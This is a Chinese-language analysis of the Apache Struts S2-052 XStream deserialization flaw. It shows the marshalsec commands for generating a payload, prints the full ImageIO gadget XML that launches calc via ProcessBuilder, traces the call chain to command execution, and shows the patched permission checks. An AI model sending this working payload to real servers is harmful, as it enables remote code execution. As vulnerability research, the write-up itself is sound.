S2-052从Payload到执行浅析

近期曝光的S2-052漏洞备受瞩目,之前的struts版本只要开启了rest插件都有可能会受到影响,网上已经公开的POC已经包含了能够进行远程攻击的payload,该payload实际上是marshallsec利用XStream中的ImageIO gadget生成的XML。本文会介绍从payload生成到执行的整个流程。

本次实验分析的jdk版本为1.8。

生成payload

payload的生成过程非常简单:

git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc 

生成的payload如下:

<map>   <entry>     <jdk.nashorn.internal.objects.NativeString>       <flags>0</flags>       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">         <dataHandler>           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">             <is class="javax.crypto.CipherInputStream">               <cipher class="javax.crypto.NullCipher">                 <initialized>false</initialized>                 <opmode>0</opmode>                 <serviceIterator class="javax.imageio.spi.FilterIterator">                   <iter class="javax.imageio.spi.FilterIterator">                     <iter class="java.util.Collections$EmptyIterator"/>                     <next class="java.lang.ProcessBuilder">                       <command>                         <string>calc</string>                       </command>                       <redirectErrorStream>false</redirectErrorStream>                     </next>                   </iter>                   <filter class="javax.imageio.ImageIO$ContainsFilter">                     <method>                       <class>java.lang.ProcessBuilder</class>                       <name>start</name>                       <parameter-types/>                     </method>                     <name>foo</name>                   </filter>                   <next class="string">foo</next>                 </serviceIterator>                 <lock/>               </cipher>               <input class="java.lang.ProcessBuilder$NullInputStream"/>               <ibuffer></ibuffer>               <done>false</done>               <ostart>0</ostart>               <ofinish>0</ofinish>               <closed>false</closed>             </is>             <consumed>false</consumed>           </dataSource>           <transferFlavors/>         </dataHandler>         <dataLen>0</dataLen>       </value>     </jdk.nashorn.internal.objects.NativeString>     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>   </entry>   <entry>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>   </entry> </map> 

过程分析

1. 寻找xml解释器

当payload发送到存在漏洞的struts服务端时,可以看到会调用到XStreamHandler类的toObject方法将xml转化成对象。

S2-052从Payload到执行浅析

在调用XStreamHandler的toObject方法之前,RestActionInvocation会读取struts-plugin.xml中的解释器并遍历来寻找能够解析输入的Interceptor,直到找到rest库中的ContentTypeInterceptor类(第17次找到rest,对应于下图的16项)。

S2-052从Payload到执行浅析

2. 解析XML

首先给出比较重要的调用过程:

toObject, XStreamHandler   fromXML, XStream     ...       start, TreeUnmarshaller // 真正开始解析XML,识别类并转化成对象         ...           unmarshal, MapConverter // 开始解析顶层的Map对象             populateMap, MapConverter               putCurrentEntryInfoMap, MapConverter // 解析第一对Entry,即<key, value>结构                 key = readItem // 生成jdk.nashorn.internal.objects.NativeString对象                   readClassType  // 读取key的类型,即jdk.nashorn.internal.objects.NativeString                   ConvertAnother // 递归解析对象                     .....                 value = readItem                 put(key, value), HashMap // 将解析的key,value对象添加到HashMap中                   putVal, HashMap                      hash(key), HashMap  // 对key计算hash                        key.hashCode, NativeString                           getStringValue, NativeString                             toString, Base64Data //调用value的toString方法                               get, Base64Data                                 readFrom, ByteArrayOutputStreamEx                                   read, CipherInputStream                                     getMoreData, CipherInputStream                                       update, NullCipher                                         chooseFirstProvider, NullCipher                                           next, FilterIterator                                             advance, FilterIterator                                               filter, FilterIterator                                                 method.invoke // ProcessBuilder.start() 

总结一下就是XStream会完成NativeString对象(map第一个键值对)的正常解析,但是当把键值对添加到HashMap对象中时,会计算key (NativeString) 的hash值,也就是对NativeString的value计算hash,但是value的类型并不是String,而是Base64Data,调用Base64Data的toString方法会引发接下来的一系列调用,最终导致命令执行。

下面针对其中的调用过程进行追踪:

2.1 key对象解析

ContentTypeInterceptor的intercept方法会获取能够解析request内容的handler,并调用handler的toObject方法。

public String intercept(ActionInvocation invocation) throws Exception {         HttpServletRequest request = ServletActionContext.getRequest();         ContentTypeHandler handler = this.selector.getHandlerForRequest(request); // XStreamHandler         Object target = invocation.getAction();         if(target instanceof ModelDriven) {             target = ((ModelDriven)target).getModel();         } ​         if(request.getContentLength() > 0) {             InputStream is = request.getInputStream();             InputStreamReader reader = new InputStreamReader(is);             handler.toObject(reader, target); // XStreamHandler.toObject         } ​         return invocation.invoke();     } 

XStreamHandler则会调用XStream类的fromXML方法,将Reader对象中的内容转换成target对象。

public void toObject(Reader in, Object target) {         XStream xstream = this.createXStream();         xstream.fr
omXML(in, target);     } 

struts官方发布的新版本也正是在这里进行了修改,新版本的相关方法如下:

public void toObject(ActionInvocation invocation, Reader in, Object target) {     XStream xstream = CreateXStream(invocation);     xstream.fromXML(in, target); } ​ protected XStream createXStream(ActionInvocation invocation){   XStream stream = new XStream();   stream.addPermission(NoTypePermission.None);   addPerActionPermission(invocation, stream);   addDefaultPermissions(invocation, stream);   return stream; } 

针对每个action对创建的xstream流对象进行了权限控制,只允许对指定的类进行解析。

S2-052从Payload到执行浅析

从XStream的toObject方法开始,直到TreeUnmarshaller的start方法才开始解析XML结构:

 public Object start(DataHolder dataHolder) {         this.dataHolder = dataHolder;         Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);   // java.util.Map         Object result = this.convertAnother((Object)null, type);         Iterator validations = this.validationList.iterator(); ​         while(validations.hasNext()) {             Runnable runnable = (Runnable)validations.next();             runnable.run();         } ​         return result;     } 

start方法首先读取reader的顶级标签类,此时type对应顶层的标签,也就是 java.uti.Map接口。之后进入到ConvertAnother方法:

 public Object convertAnother(Object parent, Class type, Converter converter) {         type = this.mapper.defaultImplementationOf(type); // java.util.HashMap         if(converter == null) {             converter = this.converterLookup.lookupConverterForType(type);         } else if(!converter.canConvert(type)) {             ConversionException e = new ConversionException("Explicit selected converter cannot handle type");             e.add("item-type", type.getName());             e.add("converter-type", converter.getClass().getName());             throw e;         } ​         return this.convert(parent, type, converter);     } 

convertAnother方法首先会找到该类对应的具体实现类,java.util.Map变成java.util.HashMap类,然后去寻找合适的转换器,对应于HashMap类找到的converter为MapConverter,通过子类父类的方法调用,最后会执行到MapConvert的unmarshal方法

S2-052从Payload到执行浅析

MapConverter的unmarshal方法会调用populateMap对XML结构进行解析,populateMap又会调用putCurrentEntryInfoMap来不断读取每一对标签中的内容,作为一个组合。

 protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {         reader.moveDown();         Object key = this.readItem(reader, context, map);         reader.moveUp();         reader.moveDown();         Object value = this.readItem(reader, context, map);         reader.moveUp();         target.put(key, value);     }  protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {         Class type = HierarchicalStreams.readClassType(reader, this.mapper());         return context.convertAnother(current, type);     } 

对key和value对象的解析会调用readItem方法,该方法与TreeUnmarshaller的start方法类似,都是读取类型,然后根据该类型转换成对应的对象。最终解析完成之后第一个entry的key会转换成NativeString对象,该对象的value字段为Base64Data对象。key的解析结果如下:

S2-052从Payload到执行浅析

2.2 命令执行

key对象的转换过程只是一个填充对象字段的过程,不涉及命令执行。当对key和value的解析过程完成,接下来调用target.put(key, value),将键值对加入到HashMap中。该方法会对key计算hash,调用key.hashCode方法,即 NativeString的hashCode方法。

public V put(K key, V value) {         return putVal(hash(key), key, value, false, true);     } ​ static final int hash(Object key) {         int h;         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);     } 

NativeString的hashCode方法首先调用getStringValue获取value的string值,再调用String的hashCode方法。

public int hashCode() {         return this.getStringValue().hashCode();     } ​     private String getStringValue() {         return this.value instanceof String?(String)this.value:this.value.toString();     } 

在getStringValue的调用过程中,由于value是Base64Data类型而不是String类型,因此会调用value的toString方法,即Base64Data的toString方法转换成String对象。

S2-052从Payload到执行浅析

public String toString() {         this.get();         return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);     }  public byte[] get() {         if(this.data == null) {             try {                 ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);                 InputStream is = this.dataHandler.getDataSource().getInputStream(); // CipherInputStream                 baos.readFrom(is); // in                 is.close();                 this.data = baos.getBuffer();                 this.dataLen = baos.size();             } catch (IOException var3) {                 this.dataLen = 0;             }         } ​         return this.data;     } 

Base64Data的toString方法会调用get方法获取数据,get方法又会从Base64的InputStream流中读取数据,执行到ByteArrayOutputStreamEx的readFrom方法。

public void readFrom(InputStream is) throws IOException {         while(true) {             if(this.count == this.buf.length) {                 byte[] data = new byte[this.buf.length * 2];                 System.arraycopy(this.buf, 0, data, 0, this.buf.length);                 this.buf = data;             } ​             int sz = is.read(this.buf, this.count, this.buf.length - this.count); // read here             if(sz < 0) {                 return;             } ​             this.count += sz;         }     } 

其中的is成员是CipherInputStream对象,执行is.read也就是调用CipherInputStream类的read方法。payload中CipherInputStream对象的ostart为0 (0), ofinish也为0 (0) ,满足if条件,因此会执行get
MoreData方法。

S2-052从Payload到执行浅析

 public int read(byte[] var1, int var2, int var3) throws IOException {         int var4;         if(this.ostart >= this.ofinish) {             for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {                 ;             }         ......  }    private int getMoreData() throws IOException {         if(this.done) {             return -1;         } else {             int var1 = this.input.read(this.ibuffer);             if(var1 == -1) {                 ......             } else {                 try {                     this.obuffer = this.cipher.update(this.ibuffer, 0, var1);                 } catch (IllegalStateException var4) {                     this.obuffer = null;                     throw var4;                 }                 ......             }         }     } 

CipherInputStream的done为False,再看下input的read方法,即NullInputStream类的read方法:

public int read(byte b[]) throws IOException {         return read(b, 0, b.length);     }   public int read(byte b[], int off, int len) throws IOException {         if (b == null) {             throw new NullPointerException();         } else if (off < 0 || len < 0 || len > b.length - off) {             throw new IndexOutOfBoundsException();         } else if (len == 0) {             return 0;         }         ......   } 

参数b是CipherInputStream的ibuffer成员,是一个length为0的byte数组,相当于调用read(byte [0], 0, 0),read返回值为0。继续回到getMoreData,var1为0,执行到cipher的update方法,即NullCipher的update方法,参数分别为byte[0], 0, 0

public final byte[] update(byte[] var1, int var2, int var3) {         this.checkCipherState();         if(var1 != null && var2 >= 0 && var3 <= var1.length - var2 && var3 >= 0) {             this.chooseFirstProvider();             return var3 == 0?null:this.spi.engineUpdate(var1, var2, var3);         } else {             throw new IllegalArgumentException("Bad arguments");         }     }  void chooseFirstProvider() {      if(this.firstService == null && !this.serviceIterator.hasNext()) {           ......           throw;      }      if(this.firstService!=null){          ......      }else{        var3 = (Service)this.serviceIterator.next();        ......      }      ...... } 

update中var!=null && var2>=0 && var3 <= var1.length - var2 && var3>=0的条件是满足的,调用chooseFirstProvider方法。由于firstService为null, 并且serviceIterator的next是”foo”,因此执行到serviceIterator.next方法,serviceIterator对象如下:

S2-052从Payload到执行浅析

public T next() {         if (next == null) {             throw new NoSuchElementException();         }         T o = next;         advance();         return o;     }  private void advance() {         while (iter.hasNext()) {             T elt = iter.next();             if (filter.filter(elt)) {                 next = elt;                 return;             }         }         next = null;     } 

serviceIterator的next不为空,next方法会执行advance方法,由于iter的next成员不为空,调用iter.next方法,返回值为ProcessBuilder对象,调用filter的filter方法,即ContainsFilter的filter方法,参数为ProcessBuilder对象。

public boolean filter(Object elt) {     try {         return contains((String[])method.invoke(elt), name);     } catch (Exception e) {         return false;     } } 

method成员为ProcessBuilder.start方法,elt为ProcessBuilder对象,因此method.invoke(elt)相当于 ProcessBuilder.start() 调用,其中ProcessBuilder为已经构造好要执行的命令的对象,对象内容如下,最终达到命令执行的目的。

S2-052从Payload到执行浅析

*